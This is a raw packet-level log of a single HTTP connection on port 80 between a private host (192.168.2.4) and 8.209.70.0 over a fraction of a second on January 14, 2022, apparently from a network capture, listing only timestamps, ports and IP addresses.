Jan 14, 2022 20:30:12.692137003 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692148924 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692158937 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692173958 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692173958 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692188978 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692202091 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692208052 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692222118 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692236900 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692250967 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692260027 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692270041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692285061 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692286968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692300081 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692313910 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692317963 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692329884 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692344904 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692352057 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692365885 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692378998 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692392111 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692398071 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692414045 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692415953 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692430973 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692444086 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692445993 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692460060 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692473888 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692476988 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692488909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692507982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692519903 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692529917 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692543983 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692552090 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692563057 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692574978 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692595959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692600012 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692611933 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692620993 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692631960 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692643881 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692665100 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692679882 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692694902 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692698956 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692711115 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692727089 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692739010 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692754030 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692765951 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692811012 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692836046 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.709996939 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710016966 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710036993 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710051060 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710062981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710082054 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710093975 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710094929 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710108042 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710119963 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710120916 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710134983 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710148096 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710153103 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710164070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710176945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710180044 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710191011 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710205078 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710206985 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710217953 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710230112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710242987 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710247040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710259914 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710263014 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710273981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710285902 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710298061 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710302114 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710314989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710331917 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710334063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710345984 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710359097 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710362911 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710376978 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710382938 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710391998 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710406065 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710417032 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710421085 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710434914 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710448980 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710452080 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710465908 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710469007 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710478067 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710490942 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710500956 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710508108 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710521936 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710530043 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710537910 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710551023 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710560083 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710566044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710577965 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710591078 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710592985 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710606098 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710618973 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710621119 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710630894 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.710644960 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.710668087 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.712891102 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712905884 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712923050 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712935925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712944984 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.712954044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712969065 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712985039 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.712995052 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.712999105 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713012934 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713020086 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713030100 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713042974 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713043928 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713057041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713069916 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713071108 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713083982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713097095 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713108063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713114977 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713128090 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713140965 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713145018 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713159084 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713162899 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713177919 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713191986 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713192940 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713207006 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713219881 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713219881 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713234901 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713248014 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713249922 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713262081 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713274956 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713275909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713290930 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713296890 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713304043 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713316917 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713330030 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713342905 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713354111 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713366032 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713380098 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713396072 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713402033 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713409901 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713423014 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713439941 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713453054 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713468075 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713469028 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.713474035 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713496923 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.713522911 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.714771032 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.727807045 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.727847099 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.727890968 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.727941036 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.730613947 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.730643988 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.730684042 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.730722904 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.730748892 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.730765104 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.730895042 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.730984926 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.731955051 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.731990099 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732021093 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732049942 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732080936 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732100964 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732124090 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732142925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732170105 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732208967 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732215881 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732245922 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732249975 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732278109 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732316971 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732326031 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732352972 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732382059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732419968 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732451916 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732462883 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732481003 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732508898 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732527018 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732547998 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732564926 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732568979 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732588053 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732598066 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732613087 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732630968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732635021 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732651949 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732673883 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732692957 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732692957 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732712984 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732728004 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732734919 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732753992 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732759953 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732775927 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732791901 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732799053 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732815981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732836962 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732855082 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732856989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732876062 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732889891 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732897997 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732914925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732923031 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732939959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732956886 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.732961893 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.732980013 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733000040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733012915 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733021021 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733036041 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733052969 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733058929 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733077049 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733083963 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733099937 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733117104 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733119965 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733138084 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733158112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733175039 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733187914 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733201981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733218908 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733227968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733242989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733261108 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733266115 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733279943 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733298063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733300924 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733319044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733328104 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733340025 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733360052 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733360052 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733376980 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733395100 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733397007 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733412981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733431101 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733433008 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733448982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733468056 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733478069 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733494043 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733505011 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733515978 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733531952 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733551979 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733570099 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733571053 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733588934 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733601093 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733609915 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733625889 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733632088 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733649969 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733669996 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733694077 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733695984 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733714104 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733724117 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733741045 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733756065 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733762026 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733778954 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733798981 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733818054 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.733819008 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.733860970 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.745198965 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.745223045 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.745292902 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.748151064 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748178959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748209000 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748239040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748241901 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.748264074 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748270035 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.748296022 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.748326063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751029968 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751060963 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751090050 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751116037 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751142979 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751167059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751215935 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751236916 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751281023 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.751295090 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.751312017 CET	80	49919	8.209.70.0	192.168.2.4
